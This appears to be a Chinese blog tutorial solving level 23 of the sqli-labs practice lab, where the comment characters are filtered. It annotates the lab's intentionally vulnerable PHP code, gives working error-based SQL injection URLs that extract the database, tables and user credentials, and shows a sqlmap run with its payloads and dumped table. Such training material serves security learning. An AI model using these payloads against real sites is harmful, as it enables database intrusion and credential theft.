sqli-labs通关笔记-第23关 GET字符型注入(单引号闭合-过滤注释符 手工注入+脚本注入两种方法)

目录

一、字符型注入

二、limit函数

三、源码分析

1、代码审计

2、SQL注入安全分析

二、渗透实战

1、进入靶场

2、注入点分析

(1)SQL语句

(2)id=1注入探测

(3)id=-1注入探测

3、手动注入

(1)获取数据库名

(2)获取表名

(3)获取列名

(4)获取数据

4、sqlmap渗透实战


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节使用手注法和脚本法分别对第23关Less 23基于字符型的SQL注入进行渗透实战,本关卡的特点是过滤了注释符号。

一、字符型注入

字符型注入是 SQL 注入的一种类型,攻击者通过在输入字段中插入恶意 SQL 代码来改变原 SQL 语句的逻辑。字符型注入通常发生在SQL 语句使用单引号或者双引号等包裹字符串参数的场景中。攻击者通过闭合单引号或者双引号等符号并注入额外的 SQL 代码,破坏原有语句结构。

二、limit函数

Limit是 SQL 中用于限制查询结果数量的子句,不是真正的函数。Limit通常有两种常见形式,具体如下所示。

  • 单参数形式LIMIT n

    • 返回前 n 条记录

    • 示例:LIMIT 5 返回前5条结果

  • 双参数形式LIMIT offset, count

    • offset:跳过的记录数(从0开始)

    • count:要返回的记录数

    • 示例:LIMIT 10, 5 跳过前10条,返回接下来的5条

举例:SQL语句"SELECT * FROM users WHERE id='$id' LIMIT 0,1"中的LIMIT 0,1"表示获取第一条匹配的记录",LIMIT0,1的具体含义如下所示,

  • 从第0条记录开始(即不跳过任何记录)

  • 只返回1条记录

三、源码分析

1、代码审计

本关卡Less23是基于字符型的SQL注入关卡,打开对应的源码index.php,如下所示。

Less23关卡的源码功能是简单基于id的查询页面,相对于同样是即将于id查询功能的第01关卡的主要区别是使用正则表达式过滤#--注释符号,以及并不在页面显示SQL语句,具体对比如下所示。

Less23详细注释后的源码如下所示。

复制代码
<?php
// 引入数据库连接配置文件
include("../sql-connections/sqli-connect.php");

// 检查是否通过GET请求传递了id参数
if (isset($_GET['id'])) {
    $id = $_GET['id']; // 获取id参数值

    // 过滤注释符号(#和--),防止使用注释绕过检测
    $reg = "/#/"; // 匹配#符号的正则表达式
    $reg1 = "/--/"; // 匹配--符号的正则表达式
    $replace = ""; // 替换为空字符串
    $id = preg_replace($reg, $replace, $id); // 替换#为空
    $id = preg_replace($reg1, $replace, $id); // 替换--为空

    // 记录id参数到日志文件result.txt
    $fp = fopen('result.txt', 'a');
    fwrite($fp, 'ID:' . $id . "\n");
    fclose($fp);

    // 构造SQL查询(存在SQL注入安全风险)
    $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result = mysqli_query($con1, $sql); // 执行SQL查询
    $row = mysqli_fetch_array($result, MYSQLI_BOTH); // 获取查询结果

    if ($row) {
        // 查询成功,显示用户信息
        echo '<font color= "#0000ff">';
        echo 'Your Login name:' . $row['username'];
        echo "<br>";
        echo 'Your Password:' . $row['password'];
        echo "</font>";
    } else {
        // 查询失败,显示数据库错误信息(可用于错误回显注入)
        echo '<font color= "#FFFF00">';
        print_r(mysqli_error($con1)); // 暴露数据库错误,如语法错误、表名等
        echo "</font>";
    }
} else {
    // 未传递id参数时的提示信息
    echo "Please input the ID as parameter with numeric value";
}
?>

这是一个简单的用户查询页面,主要功能是:

  • 参数获取 :通过 GET 请求获取id参数,用于查询用户信息。

  • 注释过滤 :使用正则表达式过滤#--注释符号,试图阻止注释绕过检测。

  • 数据库查询 :将id参数拼接进 SQL 语句(SELECT * FROM users WHERE id='$id'),根据结果返回用户信息(登录成功时页面回显用户名和密码)或错误提示(登陆失败时页面无输出,但是会打印SQL报错信息)。

    复制代码
      $id = $_GET['id']; // 获取id参数值
    
      // 过滤注释符号(#和--),防止使用注释绕过检测
      $reg = "/#/"; // 匹配#符号的正则表达式
      $reg1 = "/--/"; // 匹配--符号的正则表达式
      $replace = ""; // 替换为空字符串
      $id = preg_replace($reg, $replace, $id); // 替换#为空
      $id = preg_replace($reg1, $replace, $id); // 替换--为空
    
    
      // 构造SQL查询(存在SQL注入风险)
      $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 错误回显:查询失败时返回详细的数据库错误信息(如表不存在、语法错误),可用于注入攻击的错误提示,便于使用报错型SQL注入方法进行渗透。

  • 日志记录 :将id参数值记录到result.txt文件中。

2、SQL注入安全分析

这个代码存在严重的SQL注入安全问题,原因如下:

  • 未过滤的用户输入id参数未经过有效过滤直接拼接进 SQL 语句,虽过滤了#--注释符号,但可通过其他方式绕过。

  • 注释绕过 :虽然过滤了#--,但可利用其他符号(如)%00等)截断 SQL。

  • 字符串拼接方式 :SQL查询使用单引号包裹用户输入(id='$id'),攻击者可以闭合单引号注入恶意代码。

  • 错误信息显示:当查询出错时,代码会显示MySQL错误信息,这有助于攻击者进行基于错误的SQL注入。

二、渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

复制代码
http://127.0.0.1/sqli-labs/

点击进入Page2,如下图红框所示。

其中第23关在进阶挑战关卡"SQLi-LABS Page-2 (Adv Injections)"中, 点击进入如下页面。

复制代码
http://127.0.0.1/sqli-labs/index-1.html#fm_imagemap

点击上图红框的Less23关卡,进入到靶场的第23关卡字符型注入关,页面提示"Please input the ID as parameter with numeric value",具体如下所示。

复制代码
http://127.0.0.1/sqli-labs/Less-13/

2、注入点分析

(1)SQL语句

根据源码分析可知,本关卡基于GET方法传入参数id,仅对id过滤#和-- 这两个注释符号,但未处理其他可能的注入符号。本关卡的注入点为id,SQL语句的含义是根据用户提供的ID值(字符型)从users表中查询并返回匹配的用户记录的所有字段信息,且仅返回第一条匹配结果,具体代码如下所示。

复制代码
    $id = $_GET['id']; // 获取id参数值

    // 过滤注释符号(#和--),防止使用注释绕过检测
    $reg = "/#/"; // 匹配#符号的正则表达式
    $reg1 = "/--/"; // 匹配--符号的正则表达式
    $replace = ""; // 替换为空字符串
    $id = preg_replace($reg, $replace, $id); // 替换#为空
    $id = preg_replace($reg1, $replace, $id); // 替换--为空


    // 构造SQL查询(存在SQL注入风险)
    $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";

根据 id='$id'可知闭合方式为单引号,虽然本关卡过滤了注释符号,但是由于本关卡只查询一个参数id,注入语句中不包含注释符号也不影响注入,id被单引号包裹故而SQL注入为字符型注入。

(2)id=1注入探测

根据上一步我们分析注入点为id,我们首先使用id=1进行探测,完整URL如下所示。

复制代码
http://127.0.0.1/sqli-labs/Less-23/?id=1

页面提示登录的用户名和密码,具体如下所示。

(3)id=-1注入探测

我们使用id=-1进行探测,完整URL如下所示。

复制代码
http://127.0.0.1/sqli-labs/Less-23/?id=-1

由于id=-1恒为假,这意味着此次SQL语句执行后没有查到数据,页面无任何信息,如下所示。

3、手动注入

(1)获取数据库名

如下所示,数据库的名称为"security"。

复制代码
http://192.168.59.1/sqli-labs/Less-23/?id=-17777'or updatexml(1,concat(0x7e,(select database()),0x7e),1) -- ||'1'='7

(2)获取表名

如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。

复制代码
http://192.168.59.1/sqli-labs/Less-23/?id=-17777'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) -- ||'1'='7

(3)获取列名

如下所示,数据库users表的列名分别为id,username,password。

复制代码
http://192.168.59.1/sqli-labs/Less-23/?id=-17777'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) -- ||'1'='7

(4)获取数据

最后通过上一步获取到的列名来提取users表的内容,第一个为为Dumb:Dumb,如下所示渗透成功。

复制代码
http://192.168.59.1/sqli-labs/Less-23/?id=-17777'or updatexml(1,concat(0x7e,(select group_concat(concat(username,0x3a,password)) from security.users),0x7e),1) -- ||'1'='7

4、sqlmap渗透实战

我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),完整的SQL注入命令如下所示。

复制代码
sqlmap -u http://192.168.59.1/sqli-labs/Less-23/?id=1 --current-db --dump --batch

sqlmap渗透成功,可以通过报错法、布尔盲注、时间盲注三种方法渗透成功,具体信息如下所示。

复制代码
ET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 260 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 6207=6207 AND 'wZZd'='wZZd

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x717a707671,(SELECT (ELT(3728=3728,1))),0x71767a6271),3728) AND 'QJXY'='QJXY

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1157 FROM (SELECT(SLEEP(5)))CCpb) AND 'xiVu'='xiVu
---
[09:54:45] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[09:54:45] [INFO] fetching current database
[09:54:45] [INFO] retrieved: 'security'
current database: 'security'

Table: users
[13 entries]
+----+------------+----------+
| id | password   | username |
+----+------------+----------+
| 1  | Dumb       | Dumb     |
| 2  | I-kill-you | Angelina |
| 3  | p@ssword   | Dummy    |
| 4  | crappy     | secure   |
| 5  | stupidity  | stupid   |
| 6  | genious    | superman |
| 7  | mob!le     | batman   |
| 8  | admin      | admin    |
| 9  | admin1     | admin1   |
| 10 | admin2     | admin2   |
| 11 | admin3     | admin3   |
| 12 | dumbo      | dhakkan  |
| 14 | admin4     | admin4   |
+----+------------+----------+
相关推荐
看天走路吃雪糕6 小时前
墨者:SQL手工注入漏洞测试(Oracle数据库)
数据库·oracle·sql注入·墨者靶场
看天走路吃雪糕8 小时前
墨者:XPath注入漏洞实战
xml·xpath·sql注入·墨者学院
mooyuan天天9 小时前
sqli-labs通关笔记-第20关 字符型Header-Cookie SQL注入(单引号闭合 手工注入+脚本注入两种方法)
web安全·sql注入·sqlmap·sql注入漏洞·header注入·sqli-labs靶场
看天走路吃雪糕1 天前
墨者:SQL过滤字符后手工绕过漏洞测试(万能口令)
数据库·sql·sql注入·墨者学院·万能口令
看天走路吃雪糕1 天前
墨者:SQL注入实战-MySQL
数据库·mysql·base64·sql注入·sqlmap·墨者靶场·tamper
看天走路吃雪糕2 天前
墨者:SQL手工注入漏洞测试(MySQL数据库-字符型)
数据库·mysql·sql注入·sqlmap·墨者学院·字符型注入
看天走路吃雪糕2 天前
墨者:SQL手工注入漏洞测试(MySQL数据库)
数据库·mysql·sql注入·墨者靶场
看天走路吃雪糕2 天前
墨者:通过手工解决SQL手工注入漏洞测试(PostgreSQL数据库)
数据库·sql·postgresql·sql注入·墨者靶场
看天走路吃雪糕2 天前
墨者:SQL注入漏洞测试(布尔盲注)
数据库·sql·sqlmap·墨者学院·布尔盲注